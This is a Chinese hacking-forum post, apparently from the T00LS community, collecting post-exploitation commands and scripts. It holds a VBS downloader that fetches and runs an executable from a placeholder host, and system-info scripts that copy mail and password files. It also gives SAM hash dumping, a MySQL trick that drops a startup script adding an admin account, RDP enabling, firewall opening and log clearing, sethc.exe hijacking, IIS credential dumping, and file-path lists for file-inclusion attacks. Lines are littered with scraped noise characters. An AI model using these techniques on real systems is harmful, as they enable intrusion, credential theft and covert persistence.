/ |1 L% @8 W0 d2 g, k. C$ d" U感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
4 S  w" w5 b+ P* m+ v————————————————————————————
  Y1 J( u$ g+ t1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
4 n2 F2 v- G1 B4 f' Q% ~; h$ Calzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
8 r6 O4 q, D, b3 P若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
/ i- B1 G0 o- [3 q# A那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
5 N. S6 Q0 [( }7 l3 f8 L2 W}  

6 K+ B0 c5 ^* E3 k" x6 d, u( ?6 P' y提权先执行systeminfo
token 漏洞补丁号 KB956572
- d: z2 W8 \! g: V2 {Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
# T" d  x+ ~, M2 D——————————————
2、收集系统信息的脚本  
9 W4 u; A# N, C$ n3 f; nfor window：

5 c9 a2 v: N# z5 ]@echo off
2 ?' K2 v; U' I4 @* G7 b+ Wecho #########system info collection
systeminfo
ver
hostname
net user
9 x# U" c8 q. V: ]& ], l, \# |* Lnet localgroup
! J3 Z" w/ t( m: `# anet localgroup administrators
net user guest
net user administrator
, t2 Z% W- K2 _  B8 n. \8 F
echo #######at- with   atq#####
  P+ S* w8 T, x; ~+ l+ wecho schtask /query

echo
) R& U* k/ n+ S- l" p* S+ ?echo ####task-list#############
. Q  I1 T/ c: f6 q# H$ R% [tasklist /svc
echo
echo ####net-work infomation
* n9 x' c1 z( I( Q4 _ipconfig/all
8 d6 C& M( n- e+ a, z( V# B& G! Mroute print
9 I9 C- B$ L0 A, ^; karp -a
. z/ [- Q' s( d$ G9 o. _netstat -anipconfig /displaydns
! e- U. `# t3 S4 R# K8 K- \- pecho
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
for linux：

5 [) y- ?6 w; n#!/bin/bash

echo #######geting sysinfo####
1 e5 O" B% d/ iecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
& ~/ c. d) Y3 S0 _3 mcat /proc/meminfo
* [8 F, C9 c; r  b1 Z% O( pecho
1 v' s& h& e$ U9 l1 b! acat /proc/cpuinfo
! u5 v4 Y& o% l# z! \8 Wecho
6 C2 J1 G2 ]( V0 e! |' W% ~rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
/ e( ^- F8 K1 v& @: |8 @" Z( y

  S1 I6 J9 Z& V5 F$ H+ p+ Jecho 'u'r id is' `id`
echo ###atq&crontab#####
" f1 J9 c# p" V3 R+ }+ @+ u& |: latq
crontab -l
echo #####about var#####
( `0 s# }; f( E% A, B3 S$ C4 Mset

; g2 s& v' Z+ r* S* S: Lecho #####about network###
* v* v/ F9 u5 j" }####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
: E' `! r) S" d0 ^8 F, sipconfig -a
1 ^& f1 z, n9 B: R' }arp -v
echo ########user####
: B- ~  w/ U- s/ ]) [, lcat /etc/passwd|grep -i sh
; t, ~6 l! Y; N8 b5 R( x! Y+ r0 ]
0 w0 V5 d2 g- X- d3 B) _* ~  ^echo ######service####
& }6 ?7 S; o" [3 _4 \chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
% ^: T  a$ ^9 w6 h+ h- pcat /etc/passwd|grep -i $i
done
+ t0 F5 z2 h3 K) J; K8 o
locate passwd >/tmp/password 2>/dev/null
sleep 5
5 x+ I% B9 ?3 q1 ]$ mlocate password >>/tmp/password 2>/dev/null
1 r0 e8 u/ [1 U2 Z4 Zsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
; q. P5 [& F, L+ f! |. \locate config >>/tmp/sysconfig 2>/dev/null
$ o+ s# P7 P( q( }* o/ A+ y* Psleep 5

. z+ y5 k$ C' z0 T###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
' {$ @# b9 G5 N( d% ^" ]3 wrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
3 T. ?' a! E! ]# W9 e' p注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
0 e; N" o) `$ I+ [8 c接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
' D! Z' Z' W: i" n: G* D8 j, l# Decho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
7 ]( }1 ~# L/ b( Decho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
- r4 X: L9 x5 k/ |: zcftmon.vbs
) l" D* U5 h; t4 `0 Y$ ^0 s' I4 C& V
7 h' R3 H( i* W) e2
1 r; D# B( r/ U3 e. {: J1 V! T# zOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
4 g* d8 l" Q6 c, B) K; z$ Ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
$ ]$ y6 Y9 o3 S" k$ g0 D& e' w( USet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
" ~  d7 S  I- c0 s% X/ a( MsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
. j$ G0 Z6 y" y7 p* Y9 O# V
1 A$ l+ y5 \6 h; ]5 F6 ocscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
3 d5 c1 Q  U1 CREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
: U/ C; \) a. z' N5 t4 U0 r3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 e: k2 @# H' M7 q2 z! F  H4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
0 U! e" X  b) }* W" DREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 ]4 [8 x2 b  f8 a7 i) G————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
2 F- r& N+ l+ }/ I————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
6 k0 F& M1 T) g. a8、for /d %i in (d:\freehost\*) do @echo %i
* S! A" r$ Z+ ?( c
列出d的所有目录
6 r3 K- l2 X! L/ Q  K# I  
, v  C$ h6 b/ I& u8 }: a7 O7 {& g  for /d %i in (???) do @echo %i
- `: S% d) D5 C/ L, k
7 c# }+ a& t9 ?% V$ W把当前路径下文件夹的名字只有1-3个字母的打出来

% ^4 x2 ~8 ?7 h" o9 T  W. d; F2.for /r %i in (*.exe) do @echo %i
2 a0 Z6 A7 D+ A8 f/ o' ~& N  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
! u, {, A: S, _; `" r  t
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
. o2 y# V/ [) Y  h$ T* }5 W  
2 s2 D4 @% M8 m% r8 H+ r, n  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
" |8 Y5 }9 @- V9 U- _
0 n/ \$ B3 D6 }- Q4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
% E$ ?5 C, u8 Y) D0 [. k, R- j0 P% R——————————
, ~+ g+ w+ V3 s" s●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

' C! T9 l. H2 E3 t) `8 g2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
8 O! D6 \/ L/ o3 ^reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
- B8 D  v0 [, w: P" N( d2 g7 }reg export HKLM\SYSTEM\RAdmin c:\a.reg
" l* ?& C- j  i- A! |+ c6 [) a; J+ a
) X  \4 g# L* E) U; P4 Z5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
7 d  \# C. k0 }7 M
' w7 h0 @/ l6 U( P6.IPSec默认免除项88端口(需重启):
8 {, {, e6 |$ T) |reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
3 P) w4 s! k. t. t
7.停止指派策略"myipsec":
! H$ y" l! v4 d/ E# C$ z$ A2 vnetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
* I3 B# H( [+ K. L6 z1 _# ?
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
: |' c) A9 K) Y" V
. J0 `- j+ W4 M  x1 @) A) Hreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
1 H6 u$ ~# n: P3 E1 W: A5 o( lif err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
+ W$ F# P& Z) n* x$ T# W- hServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
  J3 j5 Q+ x0 C  Rpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
- B$ k8 B6 U# pend if
7 Z  {: N6 S! L. `Next
! X2 o2 R- q3 |/ V8 |2 A1 {wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
$ k0 n0 l9 ~' \! \/ Q4 w7 b& Q复制代码
3 o. U4 ?/ l+ B----------------------2011新气象，欢迎各位补充、指正、优化。----------------
, L: W) B( B$ C& {: q1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
& I# `. h& B3 u4 z/ g9 w7 s  [- G将folder.htt文件，加入以下代码：
# K  f4 P2 F5 i5 k0 s! w2 H<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
' O1 [4 y$ y# q# J3 N</OBJECT>
5 i4 j% D6 y+ I" M) w7 Z  [" ^复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
; A8 G" F: p; z0 k" J1 yasp代码，利用的时候会出现登录问题
. B& c0 {( A& h; ~4 m 原因是ASP大马里有这样的代码：（没有就没事儿了）
2 B2 m, t) R+ a' g9 s" m& C url=request.severvariables("url")
' p, R: D6 j& L! [+ P# h* M8 k: y 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
5 `  I1 W% `0 R2 U 解决方法
% j% ~+ y  }2 c- n6 a6 R7 k! Y  o url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
; X  V( `' @7 v9 R
! n, y' C! C9 O6 t( `2 O==============================================================
LINUX常见路径：
) i8 J/ L9 f1 Z" p
/etc/passwd
/etc/shadow
# V* {0 V* ?- \0 {) V/etc/fstab
/etc/host.conf
/etc/motd
) P7 u& k: ?1 N( K% k6 W6 o/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
4 p1 w0 s/ H# {* x( N9 L, p2 R4 B/var/httpd/conf/php.ini
: L& U! M" t# ?( |9 T/var/httpd/htdocs/index.php
7 C6 Q4 }8 _& a3 K  K- [/var/httpd/conf/httpd.conf
8 o: T- p7 P* |2 h% g/var/httpd/htdocs/index.html
" h; x2 d& J' X) q* |4 P/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
5 T! w# H4 Q- o: Y; |3 B) I/usr/local/apache2/htdocs/index.html
1 `# |/ N( n* m1 t& u- U/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
! b% _( C$ j+ P+ y; v/ Y0 X/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
7 J( a/ u8 z6 l' N9 `/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
9 o3 q( C! I6 }5 h/www/php/php.ini
# [# T& Z7 r! y8 S/ k: W; |/www/php4/php.ini
0 l+ U3 K9 E0 C* O( G& {3 u/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
$ S* {9 |& V8 `5 V; A" C0 I. K$ `/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
3 }! @  \; m  O8 A/ X- K* s/etc/apache2/apache.conf
/etc/apache/httpd.conf
$ {) X$ ^; |3 d5 U/etc/apache2/httpd.conf
5 y& u& C  N1 B3 V5 b7 \/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
2 a- v3 Y) d# ?3 g! E8 ^/etc/phpmyadmin/config.inc.php
, D- a! q: b' V, c6 A, m/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/ Q2 @. i* x6 ?  V8 A$ W2 m/etc/httpd/logs/error_log
) [- N/ u" o" W. t: p! A* s/etc/httpd/logs/error.log
3 v7 G; O5 U# Y! x$ J/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
: q3 f" E) E9 u- F, R, e0 n. K/home/apache/conf/httpd.conf
/ B( p8 U8 z# h: ]# A/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
+ v3 i$ ?  o: ~, [/ z/var/log/apache/access_log
/var/log/apache/access.log
3 X/ j, L$ H5 }" W# m) D: [/var/log/apache2/error_log
1 Y7 \9 M1 n4 z2 s. }! M/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
' [7 k3 m; |- T; E' u7 M+ m( z/var/www/logs/error_log
/var/www/logs/error.log
( D4 M) v" W/ _+ Q1 g$ `  J/var/www/logs/access_log
/var/www/logs/access.log
0 f3 D1 y( \  C% i/usr/local/apache/logs/error_log
& y! p6 T  G- |% o: c/usr/local/apache/logs/error.log
6 j' H/ `& V3 x( Q# Y/usr/local/apache/logs/access_log
) B" o4 e$ Z, C/ v4 _  |) E/usr/local/apache/logs/access.log
/var/log/error_log
. p* D# f9 f$ i& l# [0 @: b- T/var/log/error.log
# t, E" P; Z4 m8 h, ~& G7 Y/var/log/access_log
4 @) m0 k: C. L: ^/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
) Q0 K) |, ^6 s: `/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
2 z; Y8 J4 q- Z# T4 R# y/bin/php.ini
& T8 A& A; B( q  N  `: s; f& D/etc/init.d/httpd
/etc/init.d/mysql
. Y" m9 A/ u& p5 [6 s/etc/httpd/php.ini
' `6 P6 r9 t4 s- k/usr/lib/php.ini
; g! {& u/ A7 y/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
  F, G+ E5 l  V' Y$ c- H/usr/local/php/lib/php.ini
/ g& s4 |3 m( a, ^/usr/local/php4/lib/php.ini
6 e- P- Z& x1 P( l& f; [& _) o2 h5 G/usr/local/php4/php.ini
. G9 l+ P, l/ N3 [% L5 n/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
( [, _0 S# A% k0 `" I# r$ ~/usr/local/php5/php5.ini
& ~" {* V2 V0 k- U% e/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
& x4 m3 ~8 m) O. n! [3 F/usr/local/apache2/conf/httpd.conf
* v' v4 I. b4 k3 {5 j/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
- j, W4 j3 H/ ^" a2 z0 m, C/etc/php4/apache/php.ini
; E! V5 B* J; T3 N* @" Y% J) p3 c/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
- }; R/ J- i- U7 H; x! z. [+ o: t/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
8 a/ B$ |- }, I/ e1 g6 T9 c/etc/php/apache/php.ini
; `0 V2 h3 a+ p7 M/etc/php/apache2/php.ini
/web/conf/php.ini
) y4 f0 U; Y- f9 l/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
! @3 `- i2 {5 v5 r0 x3 c/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
, x1 ]2 P& _2 j8 T& @/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
; B1 n2 s  g& y( M. w- X  z9 N/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
5 V2 \8 E: Z' F+ Z8 [/php/php.ini
4 {8 r! d  o& a4 W6 M- ?, |/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
1 Y' C" I1 Z" m# {" M' `( F6 v/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
- E* j- t0 q0 X) v& \% o5 R& ]/var/log/mysqlderror.log
/var/log/mysql/mysql.log
8 y) F8 N$ v% ~' s5 @$ K* G/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
" q* a- e% j) e& P. Q/etc/my.cnf
4 T* {2 V. O: ?# d( o/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
5 i2 D+ G& H) z( g/usr/local/cpanel/logs/access_log
! r/ I7 N# z  n  K6 A9 H0 a/usr/local/cpanel/logs/error_log
  @; Z5 v  ?" b6 A  Y/usr/local/cpanel/logs/license_log
6 ]; y; J2 j3 }/ U- O. h8 C/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
: @( h+ S. s5 T4 w/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
! L) c& {; U5 d4 h% u9 Q3 Z( E+ s& t
% }) K2 _) \$ d4 N+ q. Z4 V2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
) W" ^+ J) {/ _- jc:\boot.ini
c:\1.txt
c:\a.txt
& _& |7 h6 J3 a3 L5 O* i
2 [7 Y, d9 q- V$ R% ]c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
/ D% H$ i6 Z) r; oc:\program files\CMailServer\CMailServer.exe
' B# n$ @- L' G; E: S+ pc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
- X1 y$ D, H4 K$ ZC:\WinWebMail\Web\default.asp
, \0 t) g7 A' K: \! {C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
" Y, t) E6 R; u1 w5 O1 xC:\WINDOWS\7i24tool.exe
2 F6 Z9 j8 J% Z0 a
) Y) R& ]  h4 g! ]* Sc:\hzhost\databases\url.asp

1 S$ J' t' P% x; q5 l( q: t1 d& Zc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
& [4 G' B- b, D$ y+ P
9 |; C; M/ P" S2 v* R% v* u# bC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
0 E4 q4 x4 F1 x  pc:\web\index.html
c:\www\index.html
& r) @( b% ?0 Q: I& Yc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
- S( C/ D, t  f* N: q8 \# mc:\WWWROOT\index.asp
c:\web\index.php
6 Y# T& Z+ ~5 S1 r; mc:\www\index.php
c:\WWWROOT\index.php
  m/ V! W9 u  j0 Q( [c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
0 v3 L8 e7 r4 p1 E9 Wc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
( J9 `% W1 T$ f9 v( [- Y* N# j0 V5 rc:\web\default.php
& B. O7 R" ?8 U/ w9 D9 e1 g& O% Sc:\www\default.php
c:\WWWROOT\default.php
/ K( O: A6 Z8 u  F* x: Z8 ~4 Q! ]c:\WWWsite\default.php
- |; ^$ M5 V9 o/ ]C:\Inetpub\wwwroot\pagerror.gif
: K; ^; J8 C8 vc:\windows\notepad.exe
  s# X9 k! ?( y8 J. }6 M4 r; a+ x7 nc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
' H$ Q) {( i- A1 {7 z: [# l. Q! X$ QC:\Program Files\Microsoft Office\OFFICE12\winword.exe
0 m- v9 }& R& t! U. RC:\Program Files\Internet Explorer\IEXPLORE.EXE
$ j) t: c5 R, ^! qC:\Program Files\winrar\rar.exe
0 v( J) U9 k9 ?1 _C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
: _; S0 s: ]7 F* j' Ac:\ravbin\store.ini
c:\rising.ini
& r5 d- l( t" Y5 I; ~+ HC:\Program Files\Rising\Rav\RsTask.xml
/ R* j" i/ Y/ |. ]( VC:\Documents and Settings\All Users\Start Menu\desktop.ini
7 s4 t: d* \) j2 o* iC:\Documents and Settings\Administrator\My Documents\Default.rdp
; h1 l2 L: s9 K% ^- DC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
( N; \% ]+ a8 i8 p' c* i- `( \C:\Documents and Settings\Administrator\桌面\1.txt
- @( c! T. p8 s0 \3 @7 ]6 [C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
1 o$ S: ]0 L" y& a6 d& d9 o( dC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
; T  y! [! Z+ b* M& I, D  U7 WE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
& P& V7 s* E+ [. i3 y: K% IC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
- p+ J. W/ v& y6 Q& E2 X6 Z3 |C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
) B  j: W  r7 {) v7 GC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
, Z. ]$ z2 r8 AC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
6 o6 L! i% ?- g" i4 `7 U$ iC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
- g0 C2 E- ~1 S9 X$ B/ oC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
+ D; M5 Z; M! _# @# a3 u1 k' J" aC:\MySQL\MySQL Server 5.0\my.ini
+ u" l" i; E% y% l- O0 @: f; |! FC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
7 A8 ]7 J2 f) F; d+ P, H/ RC:\WINDOWS\system32\inetsrv\inetinfo.exe
9 x1 i5 n% l5 I1 ~$ N- yC:\WINDOWS\system32\inetsrv\MetaBase.xml
5 V# M! ]: f  J  a( U3 IC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
5 h; q$ V5 h" Z3 P1 J2 tC:\WINDOWS\system32\config\default.LOG
( x1 E& R& }8 a) a3 BC:\WINDOWS\system32\config\sam
6 c/ s- M2 [+ \3 ~. O6 PC:\WINDOWS\system32\config\system
& L2 i0 m6 d4 F9 X0 Bc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
0 K" @$ E/ c: n9 y; Z! G$ M# Bc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
, N& Y3 S) C+ E9 N+ Rc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
5 I& C% Y/ A" s' v+ Fc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
6 G* A1 {7 Q: w2 F( R; f* S( R6 F+ Wc:\Apache2\Apache2\bin\Apache.exe
* U: J, k! O8 A: A0 i+ |& gc:\Apache2\bin\Apache.exe
6 b8 p2 O! L6 U! O9 g1 c5 o2 jc:\Apache2\php\license.txt
: i, E$ M' n+ ~1 y' AC:\Program Files\Apache Group\Apache2\bin\Apache.exe
3 E" A4 T& \+ r7 b' }/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
' E- R# m& F7 x+ G4 B3 {2 jc:\Program Files\Tencent\qq\bin\qq.exe
